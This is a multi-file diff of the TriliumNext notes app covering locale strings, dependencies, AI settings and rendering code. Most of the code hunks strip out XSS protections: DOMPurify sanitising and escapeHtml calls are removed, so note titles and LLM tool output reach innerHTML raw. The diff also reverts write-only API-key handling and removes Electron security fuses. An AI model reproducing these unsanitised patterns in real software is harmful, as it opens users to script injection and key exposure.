// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
// which restricts data: URIs to only <img> elements.
const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
/**
* DOMPurify configuration for sanitizing note content.
*/
const PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS,
ALLOWED_ATTR,
ALLOWED_URI_REGEXP,
// Allow data-* attributes (used extensively by CKEditor)
ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
"data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
// Do not allow <style> or <script> tags
FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
"base", "noscript", "template"],
// Do not allow event handler attributes
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
"onblur", "onsubmit", "onreset", "onchange", "oninput",
"onkeydown", "onkeyup", "onkeypress", "onmousedown",
"onmouseup", "onmousemove", "onmouseout", "onmouseenter",
"onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
"ondrag", "ondragend", "ondragenter", "ondragleave",
"ondragover", "ondragstart", "ondrop", "onscroll",
"oncopy", "oncut", "onpaste", "onanimationend",
"onanimationiteration", "onanimationstart",
"ontransitionend", "onpointerdown", "onpointerup",
"onpointermove", "onpointerover", "onpointerout",
"onpointerenter", "onpointerleave", "ontouchstart",
"ontouchend", "ontouchmove", "ontouchcancel"],
// Allow data: URIs only for images (needed for inline images)
ADD_DATA_URI_TAGS: ["img"],
// Return a string
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false,
// Keep the document structure intact
WHOLE_DOCUMENT: false,
// Allow target attribute on links
ADD_TAGS: []
};
// Configure a DOMPurify hook to handle data-* attributes more broadly
// since CKEditor uses many custom data attributes.
DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
// Allow all data-* attributes
if (data.attrName.startsWith("data-")) {
data.forceKeepAttr = true;
}
});
/**
* Sanitizes HTML content for safe rendering in the DOM.
*
* This function should be called on all user-provided HTML content before
* inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
* or Element.innerHTML.
*
* The sanitizer preserves rich-text formatting produced by CKEditor
* (bold, italic, links, tables, images, code blocks, etc.) while
* stripping XSS vectors (script tags, event handlers, javascript: URIs).
*
* @param dirtyHtml - The untrusted HTML string to sanitize.
* @returns A sanitized HTML string safe for DOM insertion.
*/
export function sanitizeNoteContentHtml(dirtyHtml: string): string {
if (!dirtyHtml) {
return dirtyHtml;
}
return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
}
export default {
sanitizeNoteContentHtml
};

View File

@@ -1232,7 +1232,6 @@
"openai_configuration": "OpenAI Configuration",
"openai_settings": "OpenAI Settings",
"api_key": "API Key",
"api_key_placeholder": "API key is configured (enter a new value to replace it)",
"url": "Base URL",
"model": "Model",
"openai_api_key_description": "Your OpenAI API key for accessing their AI services",

View File

@@ -669,7 +669,7 @@
"button_exit": "Salir del modo Zen"
},
"sync_status": {
"unknown": "<p>El estado de sincronización será conocido una vez que el siguiente intento de sincronización comience.</p><p>Dé clic para activar la sincronización ahora</p>",
"unknown": "<p>El estado de sincronización será conocido una vez que el siguiente intento de sincronización comience.</p><p>Dé clic para activar la sincronización ahora.</p>",
"connected_with_changes": "<p>Conectado al servidor de sincronización. <br>Hay cambios pendientes que aún no se han sincronizado.</p><p>Dé clic para activar la sincronización.</p>",
"connected_no_changes": "<p>Conectado al servidor de sincronización.<br>Todos los cambios ya han sido sincronizados.</p><p>Dé clic para activar la sincronización.</p>",
"disconnected_with_changes": "<p>El establecimiento de la conexión con el servidor de sincronización no ha tenido éxito.<br>Hay algunos cambios pendientes que aún no se han sincronizado.</p><p>Dé clic para activar la sincronización.</p>",
@@ -760,7 +760,7 @@
"mobile_detail_menu": {
"insert_child_note": "Insertar subnota",
"delete_this_note": "Eliminar esta nota",
"error_cannot_get_branch_id": "No se puede obtener el branchID del notePath '{{notePath}}'",
"error_cannot_get_branch_id": "No se puede obtener el branchId del notePath '{{notePath}}'",
"error_unrecognized_command": "Comando no reconocido {{command}}",
"note_revisions": "Revisiones de notas",
"backlinks": "Vínculos de retroceso",
@@ -1012,7 +1012,7 @@
"no_attachments": "Esta nota no tiene archivos adjuntos."
},
"book": {
"no_children_help": "Esta nota de tipo libro no tiene ninguna subnota así que no hay nada que mostrar. Véa la <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a> para más detalles.",
"no_children_help": "Esta colección no tiene ninguna subnota así que no hay nada que mostrar.",
"drag_locked_title": "Bloqueado para edición",
"drag_locked_message": "No se permite Arrastrar pues la colección está bloqueada para edición."
},
@@ -1560,7 +1560,7 @@
"shortcuts": {
"keyboard_shortcuts": "Atajos de teclado",
"multiple_shortcuts": "Varios atajos para la misma acción se pueden separar mediante comas.",
"electron_documentation": "Véa la <a href=\"https://www.electronjs.org/docs/latest/api/accelerator\">documentación de Electron </a> para los modificadores y códigos de tecla disponibles.",
"electron_documentation": "Consulte la <a href=\"https://www.electronjs.org/docs/latest/api/accelerator\">documentación de Electron</a> para los modificadores y códigos de tecla disponibles.",
"type_text_to_filter": "Escriba texto para filtrar los accesos directos...",
"action_name": "Nombre de la acción",
"shortcuts": "Atajos",
@@ -1826,7 +1826,7 @@
"no_headings": "Sin encabezados."
},
"watched_file_update_status": {
"file_last_modified": "Archivo <code class=\"file-path\"></code> ha sido modificado por última vez en<span class=\"file-last-modified\"></span>.",
"file_last_modified": "El archivo <code class=\"file-path\"></code> ha sido modificado por última vez en <span class=\"file-last-modified\"></span>.",
"upload_modified_file": "Subir archivo modificado",
"ignore_this_change": "Ignorar este cambio"
},
@@ -2050,7 +2050,8 @@
"max-nesting-depth": "Máxima profundidad de anidamiento:",
"vector_light": "Vector (claro)",
"vector_dark": "Vector (oscuro)",
"raster": "Trama"
"raster": "Trama",
"show-labels": "Mostrar nombres de marcadores"
},
"table_context_menu": {
"delete_row": "Eliminar fila"
@@ -2158,7 +2159,9 @@
"percentage": "%"
},
"pagination": {
"total_notes": "{{count}} notas"
"total_notes": "{{count}} notas",
"prev_page": "Página anterior",
"next_page": "Página siguiente"
},
"presentation_view": {
"edit-slide": "Editar este slide",

View File

@@ -81,13 +81,17 @@
"search_for_note_by_its_name": "이름으로 노트 검색하기",
"no_path_to_clone_to": "클론할 경로가 존재하지 않습니다.",
"note_cloned": "노트 \"{{clonedTitle}}\"이(가) \"{{targetTitle}}\"로 클론되었습니다",
"cloned_note_prefix_title": "클론된 노트는 지정된 접두사와 함께 노트 트리에 표시됩니다"
"cloned_note_prefix_title": "클론된 노트는 지정된 접두사와 함께 노트 트리에 표시됩니다",
"prefix_optional": "접두사 (선택 사항)",
"clone_to_selected_note": "선택한 노트에 클론"
},
"confirm": {
"confirmation": "확인",
"cancel": "취소",
"ok": "OK",
"are_you_sure_remove_note": "관계 맵에서 \"{{title}}\" 노트를 정말로 제거하시겠습니까? "
"are_you_sure_remove_note": "관계 맵에서 \"{{title}}\" 노트를 정말로 제거하시겠습니까? ",
"if_you_dont_check": "이 항목을 선택하지 않으면 해당 노트는 관계 맵에서만 제거됩니다.",
"also_delete_note": "노트를 함께 삭제"
},
"delete_notes": {
"erase_notes_description": "일반(소프트) 삭제는 메모를 삭제된 것으로 표시하는 것일 뿐이며, 일정 시간 동안 (최근 변경 내용 대화 상자에서) 복구할 수 있습니다. 이 옵션을 선택하면 메모가 즉시 삭제되며 복구할 수 없습니다.",
@@ -97,7 +101,10 @@
"broken_relations_to_be_deleted": "다음 관계가 끊어지고 삭제됩니다({{ relationCount}})",
"cancel": "취소",
"ok": "OK",
"deleted_relation_text": "삭제 예정인 노트 {{- note}} (은)는 {{- source}}에서 시작된 관계 {{- relation}}에 의해 참조되고 있습니다."
"deleted_relation_text": "삭제 예정인 노트 {{- note}} (은)는 {{- source}}에서 시작된 관계 {{- relation}}에 의해 참조되고 있습니다.",
"delete_notes_preview": "노트 미리보기 삭제",
"close": "닫기",
"delete_all_clones_description": "모든 복제본 삭제(최근 변경 사항에서 되돌릴 수 있습니다)"
},
"export": {
"export_note_title": "노트 내보내기",
@@ -108,10 +115,25 @@
"export_in_progress": "내보내기 진행 중: {{progressCount}}",
"export_finished_successfully": "내보내기를 성공적으로 완료했습니다.",
"format_pdf": "PDF - 인쇄 또는 공유용",
"share-format": "웹 게시용 HTML - 공유 노트에 사용되는 것과 동일한 테마를 사용하지만 정적 웹사이트로 게시할 수 있습니다."
"share-format": "웹 게시용 HTML - 공유 노트에 사용되는 것과 동일한 테마를 사용하지만 정적 웹사이트로 게시할 수 있습니다.",
"close": "닫기",
"export_type_subtree": "이 노트와 모든 후손 노트",
"format_html": "HTML - 모든 형식 유지됨, 권장",
"format_html_zip": "HTML(ZIP 아카이브) - 모든 서식이 유지됨, 권장.",
"format_markdown": "마크다운 - 대부분의 서식이 유지됩니다.",
"format_opml": "OPML은 텍스트 전용 아웃라이너 교환 형식입니다. 서식, 이미지 및 파일은 포함되지 않습니다.",
"opml_version_1": "OPML v1.0 - 일반 텍스트만",
"opml_version_2": "OPML v2.0 - HTML 지원"
},
"help": {
"title": "치트 시트",
"editShortcuts": "키보드 단축키 편집"
"editShortcuts": "키보드 단축키 편집",
"noteNavigation": "노트 내비게이션",
"goUpDown": "노트 목록에서 위/아래로 이동",
"collapseExpand": "노트 접기/펼치기",
"notSet": "미설정",
"goBackForwards": "히스토리에서 뒤로/앞으로 이동",
"showJumpToNoteDialog": "<a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/note-navigation.html#jump-to-note\">\"노트로 이동\" 대화 상자</a> 표시",
"scrollToActiveNote": "활성화된 노트로 스크롤 이동"
}
}

View File

@@ -4,7 +4,6 @@ import type FNote from "../../../entities/fnote";
import type { PrintReport } from "../../../print";
import content_renderer from "../../../services/content_renderer";
import froca from "../../../services/froca";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import type { ViewModeProps } from "../interface";
import { filterChildNotes, useFilteredNoteIds } from "./utils";
@@ -88,7 +87,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
<h1>{note.title}</h1>
{state.notesWithContent?.map(({ note: childNote, contentEl }) => (
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
))}
</div>
</div>

View File

@@ -1,7 +1,6 @@
import { NoteType } from "@triliumnext/commons";
import FNote from "../../../entities/fnote";
import contentRenderer from "../../../services/content_renderer";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import { ProgressChangedFn } from "../interface";
type DangerouslySetInnerHTML = { __html: string; };
@@ -73,7 +72,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
noChildrenList: true
});
return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
return { __html: $renderedContent.html() };
}
async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {

View File

@@ -13,27 +13,6 @@ import katex from "../services/math.js";
import options from "../services/options.js";
import OnClickButtonWidget from "./buttons/onclick_button.js";
import RightPanelWidget from "./right_panel_widget.js";
import DOMPurify from "dompurify";
/**
* DOMPurify configuration for highlight list items. Only allows inline
* formatting tags that appear in highlighted text (bold, italic, underline,
* colored/background-colored spans, KaTeX math output).
*/
const HIGHLIGHT_PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"b", "i", "em", "strong", "u", "s", "del", "sub", "sup",
"code", "mark", "span", "abbr", "small", "a",
// KaTeX rendering output elements
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
"msub", "mfrac", "mover", "munder", "munderover",
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
"mspace", "annotation"
],
ALLOWED_ATTR: ["class", "style", "href", "aria-hidden", "encoding", "xmlns"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="highlights-list-widget">
<style>
@@ -276,7 +255,7 @@ export default class HighlightsListWidget extends RightPanelWidget {
if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
// If the previous element is connected to this element in HTML, then concatenate them into one.
$highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
$highlightsList.children().last().append(subHtml);
} else {
// TODO: can't be done with $(subHtml).text()?
//Cant remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
@@ -288,12 +267,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
//If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
const $lastLi = $highlightsList.children("li").last();
$lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG));
$lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
$lastLi.append(await this.replaceMathTextWithKatax(substring));
$lastLi.append(subHtml);
} else {
$highlightsList.append(
$("<li>")
.html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG))
.html(subHtml)
.on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
);
}

View File

@@ -8,7 +8,7 @@ import server from "../../services/server.js";
import noteAutocompleteService from "../../services/note_autocomplete.js";
import { TPL, addMessageToChat, showSources, hideSources, showLoadingIndicator, hideLoadingIndicator } from "./ui.js";
import { escapeHtml, formatMarkdown } from "./utils.js";
import { formatMarkdown } from "./utils.js";
import { createChatSession, checkSessionExists, setupStreamingResponse, getDirectResponse } from "./communication.js";
import { extractInChatToolSteps } from "./message_processor.js";
import { validateProviders } from "./validation.js";
@@ -683,31 +683,29 @@ export default class LlmChatPanel extends BasicWidget {
let icon = 'bx-info-circle';
let className = 'info';
let content = '';
const safeContent = escapeHtml(step.content || '');
const safeName = escapeHtml(step.name || 'unknown');
if (step.type === 'executing') {
icon = 'bx-code-block';
className = 'executing';
content = `<div>${safeContent || 'Executing tools...'}</div>`;
content = `<div>${step.content || 'Executing tools...'}</div>`;
} else if (step.type === 'result') {
icon = 'bx-terminal';
className = 'result';
content = `
<div>Tool: <strong>${safeName}</strong></div>
<div class="mt-1 ps-3">${safeContent}</div>
<div>Tool: <strong>${step.name || 'unknown'}</strong></div>
<div class="mt-1 ps-3">${step.content || ''}</div>
`;
} else if (step.type === 'error') {
icon = 'bx-error-circle';
className = 'error';
content = `
<div>Tool: <strong>${safeName}</strong></div>
<div class="mt-1 ps-3 text-danger">${safeContent || 'Error occurred'}</div>
<div>Tool: <strong>${step.name || 'unknown'}</strong></div>
<div class="mt-1 ps-3 text-danger">${step.content || 'Error occurred'}</div>
`;
} else if (step.type === 'generating') {
icon = 'bx-message-dots';
className = 'generating';
content = `<div>${safeContent || 'Generating response...'}</div>`;
content = `<div>${step.content || 'Generating response...'}</div>`;
}
return `
@@ -1371,11 +1369,11 @@ export default class LlmChatPanel extends BasicWidget {
step.innerHTML = `
<div class="d-flex align-items-center">
<i class="bx bx-code-block me-2"></i>
<span>Executing tool: <strong>${escapeHtml(toolExecutionData.tool || 'unknown')}</strong></span>
<span>Executing tool: <strong>${toolExecutionData.tool || 'unknown'}</strong></span>
</div>
${toolExecutionData.args ? `
<div class="tool-args mt-1 ps-3">
<code>Args: ${escapeHtml(JSON.stringify(toolExecutionData.args || {}, null, 2))}</code>
<code>Args: ${JSON.stringify(toolExecutionData.args || {}, null, 2)}</code>
</div>` : ''}
`;
stepsContainer.appendChild(step);
@@ -1403,7 +1401,7 @@ export default class LlmChatPanel extends BasicWidget {
<ul class="list-unstyled ps-1">
${results.map((note: any) => `
<li class="mb-1">
<a href="#" class="note-link" data-note-id="${escapeHtml(note.noteId || '')}">${escapeHtml(note.title || '')}</a>
<a href="#" class="note-link" data-note-id="${note.noteId}">${note.title}</a>
${note.similarity < 1 ? `<span class="text-muted small ms-1">(similarity: ${(note.similarity * 100).toFixed(0)}%)</span>` : ''}
</li>
`).join('')}
@@ -1414,17 +1412,17 @@ export default class LlmChatPanel extends BasicWidget {
}
// Format the result based on type for other tools
else if (typeof toolExecutionData.result === 'object') {
// For objects, format as pretty JSON (escape HTML to prevent injection via JSON values)
resultDisplay = `<pre class="mb-0"><code>${escapeHtml(JSON.stringify(toolExecutionData.result, null, 2))}</code></pre>`;
// For objects, format as pretty JSON
resultDisplay = `<pre class="mb-0"><code>${JSON.stringify(toolExecutionData.result, null, 2)}</code></pre>`;
} else {
// For simple values, display as escaped text
resultDisplay = `<div>${escapeHtml(String(toolExecutionData.result))}</div>`;
// For simple values, display as text
resultDisplay = `<div>${String(toolExecutionData.result)}</div>`;
}
step.innerHTML = `
<div class="d-flex align-items-center">
<i class="bx bx-terminal me-2"></i>
<span>Tool: <strong>${escapeHtml(toolExecutionData.tool || 'unknown')}</strong></span>
<span>Tool: <strong>${toolExecutionData.tool || 'unknown'}</strong></span>
</div>
<div class="tool-result mt-1 ps-3">
${resultDisplay}
@@ -1454,10 +1452,10 @@ export default class LlmChatPanel extends BasicWidget {
step.innerHTML = `
<div class="d-flex align-items-center">
<i class="bx bx-error-circle me-2"></i>
<span>Error in tool: <strong>${escapeHtml(toolExecutionData.tool || 'unknown')}</strong></span>
<span>Error in tool: <strong>${toolExecutionData.tool || 'unknown'}</strong></span>
</div>
<div class="tool-error mt-1 ps-3 text-danger">
${escapeHtml(toolExecutionData.error || 'Unknown error')}
${toolExecutionData.error || 'Unknown error'}
</div>
`;
stepsContainer.appendChild(step);

View File

@@ -3,8 +3,7 @@
*/
import { t } from "../../services/i18n.js";
import type { ToolExecutionStep } from "./types.js";
import { escapeHtml, formatMarkdown, applyHighlighting } from "./utils.js";
import DOMPurify from "dompurify";
import { formatMarkdown, applyHighlighting } from "./utils.js";
// Template for the chat widget
export const TPL = `
@@ -110,8 +109,8 @@ export function addMessageToChat(messagesContainer: HTMLElement, chatContainer:
contentElement.classList.add('assistant-content');
}
// Format the content with markdown and sanitize to prevent XSS
contentElement.innerHTML = DOMPurify.sanitize(formatMarkdown(content));
// Format the content with markdown
contentElement.innerHTML = formatMarkdown(content);
messageElement.appendChild(avatarElement);
messageElement.appendChild(contentElement);
@@ -142,30 +141,20 @@ export function showSources(
const sourceElement = document.createElement('div');
sourceElement.className = 'source-item p-2 mb-1 border rounded d-flex align-items-center';
// Build the link safely using DOM APIs to prevent XSS via note titles
const wrapper = document.createElement('div');
wrapper.className = 'd-flex align-items-center w-100';
const link = document.createElement('a');
link.href = `#root/${source.noteId}`;
link.setAttribute('data-note-id', source.noteId);
link.className = 'source-link text-truncate d-flex align-items-center';
link.title = `Open note: ${source.title}`;
const icon = document.createElement('i');
icon.className = 'bx bx-file-blank me-1';
const titleSpan = document.createElement('span');
titleSpan.className = 'source-title';
titleSpan.textContent = source.title;
link.appendChild(icon);
link.appendChild(titleSpan);
wrapper.appendChild(link);
sourceElement.appendChild(wrapper);
// Create the direct link to the note
sourceElement.innerHTML = `
<div class="d-flex align-items-center w-100">
<a href="#root/${source.noteId}"
data-note-id="${source.noteId}"
class="source-link text-truncate d-flex align-items-center"
title="Open note: ${source.title}">
<i class="bx bx-file-blank me-1"></i>
<span class="source-title">${source.title}</span>
</a>
</div>`;
// Add click handler
link.addEventListener('click', (e) => {
sourceElement.querySelector('.source-link')?.addEventListener('click', (e) => {
e.preventDefault();
e.stopPropagation();
onSourceClick(source.noteId);
@@ -227,8 +216,6 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
steps.forEach(step => {
let icon, labelClass, content;
const safeContent = escapeHtml(step.content || '');
const safeName = escapeHtml(step.name || 'unknown');
switch (step.type) {
case 'executing':
@@ -236,7 +223,7 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
labelClass = '';
content = `<div class="d-flex align-items-center">
<i class="bx ${icon} me-1"></i>
<span>${safeContent}</span>
<span>${step.content}</span>
</div>`;
break;
@@ -245,9 +232,9 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
labelClass = 'fw-bold';
content = `<div class="d-flex align-items-center">
<i class="bx ${icon} me-1"></i>
<span class="${labelClass}">Tool: ${safeName}</span>
<span class="${labelClass}">Tool: ${step.name || 'unknown'}</span>
</div>
<div class="mt-1 ps-3">${safeContent}</div>`;
<div class="mt-1 ps-3">${step.content}</div>`;
break;
case 'error':
@@ -255,9 +242,9 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
labelClass = 'fw-bold text-danger';
content = `<div class="d-flex align-items-center">
<i class="bx ${icon} me-1"></i>
<span class="${labelClass}">Tool: ${safeName}</span>
<span class="${labelClass}">Tool: ${step.name || 'unknown'}</span>
</div>
<div class="mt-1 ps-3 text-danger">${safeContent}</div>`;
<div class="mt-1 ps-3 text-danger">${step.content}</div>`;
break;
case 'generating':
@@ -265,7 +252,7 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
labelClass = '';
content = `<div class="d-flex align-items-center">
<i class="bx ${icon} me-1"></i>
<span>${safeContent}</span>
<span>${step.content}</span>
</div>`;
break;
@@ -274,7 +261,7 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
labelClass = '';
content = `<div class="d-flex align-items-center">
<i class="bx ${icon} me-1"></i>
<span>${safeContent}</span>
<span>${step.content}</span>
</div>`;
}

View File

@@ -1,7 +1,6 @@
/**
* Validation functions for LLM Chat
*/
import type { OptionNames } from "@triliumnext/commons";
import options from "../../services/options.js";
import { t } from "../../services/i18n.js";
@@ -45,15 +44,15 @@ export async function validateProviders(validationWarning: HTMLElement): Promise
// Check each provider in the precedence list for proper configuration
for (const provider of precedenceList) {
if (provider === 'openai') {
// Check OpenAI configuration via server-provided boolean flag
const isKeySet = options.is('isOpenaiApiKeySet' as OptionNames);
if (!isKeySet) {
// Check OpenAI configuration
const apiKey = options.get('openaiApiKey');
if (!apiKey) {
configIssues.push(`OpenAI API key is missing (optional for OpenAI-compatible endpoints)`);
}
} else if (provider === 'anthropic') {
// Check Anthropic configuration via server-provided boolean flag
const isKeySet = options.is('isAnthropicApiKeySet' as OptionNames);
if (!isKeySet) {
// Check Anthropic configuration
const apiKey = options.get('anthropicApiKey');
if (!apiKey) {
configIssues.push(`Anthropic API key is missing`);
}
} else if (provider === 'ollama') {

View File

@@ -1,7 +1,5 @@
import type { CSSProperties, HTMLProps, RefObject } from "preact/compat";
import { sanitizeNoteContentHtml } from "../../services/sanitize_content.js";
type HTMLElementLike = string | HTMLElement | JQuery<HTMLElement>;
interface RawHtmlProps extends Pick<HTMLProps<HTMLElement>, "tabindex" | "dir"> {
@@ -38,6 +36,6 @@ export function getHtml(html: string | HTMLElement | JQuery<HTMLElement>) {
}
return {
__html: sanitizeNoteContentHtml(html as string)
__html: html as string
};
}

View File

@@ -21,27 +21,6 @@ import OnClickButtonWidget from "./buttons/onclick_button.js";
import appContext, { type EventData } from "../components/app_context.js";
import katex from "../services/math.js";
import type FNote from "../entities/fnote.js";
import DOMPurify from "dompurify";
/**
* DOMPurify configuration for ToC headings. Only allows inline formatting
* tags that legitimately appear in headings (bold, italic, KaTeX math output).
* Blocks all event handlers, script tags, and dangerous attributes.
*/
const TOC_PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"b", "i", "em", "strong", "s", "del", "sub", "sup",
"code", "mark", "span", "abbr", "small",
// KaTeX rendering output elements
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
"msub", "mfrac", "mover", "munder", "munderover",
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
"mspace", "annotation"
],
ALLOWED_ATTR: ["class", "style", "aria-hidden", "encoding", "xmlns"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="toc-widget">
<style>
@@ -358,7 +337,7 @@ export default class TocWidget extends RightPanelWidget {
//
const headingText = await this.replaceMathTextWithKatax(m[2]);
const $itemContent = $('<div class="item-content">').html(DOMPurify.sanitize(headingText, TOC_PURIFY_CONFIG));
const $itemContent = $('<div class="item-content">').html(headingText);
const $li = $("<li>").append($itemContent)
.on("click", () => this.jumpToHeading(headingIndex));
$ols[$ols.length - 1].append($li);

View File

@@ -10,7 +10,6 @@ import FormSelect from "../../react/FormSelect";
import FormTextBox from "../../react/FormTextBox";
import type { OllamaModelResponse, OpenAiOrAnthropicModelResponse, OptionNames } from "@triliumnext/commons";
import server from "../../../services/server";
import options from "../../../services/options";
import Button from "../../react/Button";
import FormTextArea from "../../react/FormTextArea";
@@ -122,7 +121,7 @@ function ProviderSettings() {
interface SingleProviderSettingsProps {
provider: string;
title: string;
title: string;
apiKeyDescription?: string;
baseUrlDescription: string;
modelDescription: string;
@@ -133,26 +132,9 @@ interface SingleProviderSettingsProps {
}
function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDescription, modelDescription, validationErrorMessage, apiKeyOption, baseUrlOption, modelOption }: SingleProviderSettingsProps) {
const [ apiKey, setApiKey ] = useTriliumOption(apiKeyOption ?? baseUrlOption);
const [ baseUrl, setBaseUrl ] = useTriliumOption(baseUrlOption);
// API keys are write-only: the server never sends their values.
// Instead, a boolean flag indicates whether the key is configured.
const apiKeySetFlag = apiKeyOption
? `is${apiKeyOption.charAt(0).toUpperCase()}${apiKeyOption.slice(1)}Set` as OptionNames
: undefined;
const isApiKeySet = apiKeySetFlag ? options.is(apiKeySetFlag) : false;
const [ apiKeyInput, setApiKeyInput ] = useState("");
const saveApiKey = useCallback(async (value: string) => {
setApiKeyInput(value);
if (apiKeyOption && value) {
await options.save(apiKeyOption, value);
// Update the local boolean flag so the UI reflects the change immediately
options.set(apiKeySetFlag!, "true");
}
}, [apiKeyOption, apiKeySetFlag]);
const isValid = apiKeyOption ? (isApiKeySet || !!apiKeyInput) : !!baseUrl;
const isValid = (apiKeyOption ? !!apiKey : !!baseUrl);
return (
<div class="provider-settings">
@@ -168,8 +150,7 @@ function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDes
<FormGroup name="api-key" label={t("ai_llm.api_key")} description={apiKeyDescription}>
<FormTextBox
type="password" autoComplete="off"
placeholder={isApiKeySet ? t("ai_llm.api_key_placeholder") : ""}
currentValue={apiKeyInput} onChange={saveApiKey}
currentValue={apiKey} onChange={setApiKey}
/>
</FormGroup>
)}
@@ -180,7 +161,7 @@ function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDes
/>
</FormGroup>
{isValid &&
{isValid &&
<FormGroup name="model" label={t("ai_llm.model")} description={modelDescription}>
<ModelSelector provider={provider} baseUrl={baseUrl} modelOption={modelOption} />
</FormGroup>

View File

@@ -1,6 +1,4 @@
import { FusesPlugin } from "@electron-forge/plugin-fuses";
import type { ForgeConfig } from "@electron-forge/shared-types";
import { FuseV1Options, FuseVersion } from "@electron/fuses";
import { LOCALES } from "@triliumnext/commons";
import { existsSync } from "fs";
import fs from "fs-extra";
@@ -168,24 +166,7 @@ const config: ForgeConfig = {
{
name: "@electron-forge/plugin-auto-unpack-natives",
config: {}
},
new FusesPlugin({
version: FuseVersion.V1,
// Security: Disable RunAsNode to prevent local attackers from launching
// the Electron app in Node.js mode via ELECTRON_RUN_AS_NODE env variable.
// This prevents TCC bypass / prompt spoofing attacks on macOS and
// "living off the land" privilege escalation on all platforms.
[FuseV1Options.RunAsNode]: false,
// Security: Disable NODE_OPTIONS and NODE_EXTRA_CA_CERTS environment
// variables to prevent injection of arbitrary Node.js runtime options.
[FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
// Security: Disable --inspect and --inspect-brk CLI arguments to prevent
// debugger protocol exposure that could enable remote code execution.
[FuseV1Options.EnableNodeCliInspectArguments]: false,
// Security: Only allow loading the app from the ASAR archive to prevent
// loading of unverified code from alternative file paths.
[FuseV1Options.OnlyLoadAppFromAsar]: true,
}),
}
],
hooks: {
// Remove unused locales from the packaged app to save some space.

View File

@@ -27,10 +27,15 @@
"electron-debug": "4.1.0",
"electron-dl": "4.0.0",
"electron-squirrel-startup": "1.0.1",
"jquery-hotkeys": "0.2.2",
"jquery.fancytree": "2.38.5"
"jquery.fancytree": "2.38.5",
"jquery-hotkeys": "0.2.2"
},
"devDependencies": {
"@types/electron-squirrel-startup": "1.0.2",
"@triliumnext/commons": "workspace:*",
"@triliumnext/server": "workspace:*",
"copy-webpack-plugin": "13.0.1",
"electron": "40.6.0",
"@electron-forge/cli": "7.11.1",
"@electron-forge/maker-deb": "7.11.1",
"@electron-forge/maker-dmg": "7.11.1",
@@ -39,13 +44,6 @@
"@electron-forge/maker-squirrel": "7.11.1",
"@electron-forge/maker-zip": "7.11.1",
"@electron-forge/plugin-auto-unpack-natives": "7.11.1",
"@electron-forge/plugin-fuses": "7.11.1",
"@electron/fuses": "1.8.0",
"@triliumnext/commons": "workspace:*",
"@triliumnext/server": "workspace:*",
"@types/electron-squirrel-startup": "1.0.2",
"copy-webpack-plugin": "13.0.1",
"electron": "40.4.1",
"prebuild-install": "7.1.3"
}
}

View File

@@ -12,7 +12,7 @@
"@triliumnext/desktop": "workspace:*",
"@types/fs-extra": "11.0.4",
"copy-webpack-plugin": "13.0.1",
"electron": "40.4.1",
"electron": "40.6.0",
"fs-extra": "11.3.3"
},
"scripts": {

View File

@@ -35,7 +35,7 @@
"sucrase": "3.35.1"
},
"devDependencies": {
"@anthropic-ai/sdk": "0.77.0",
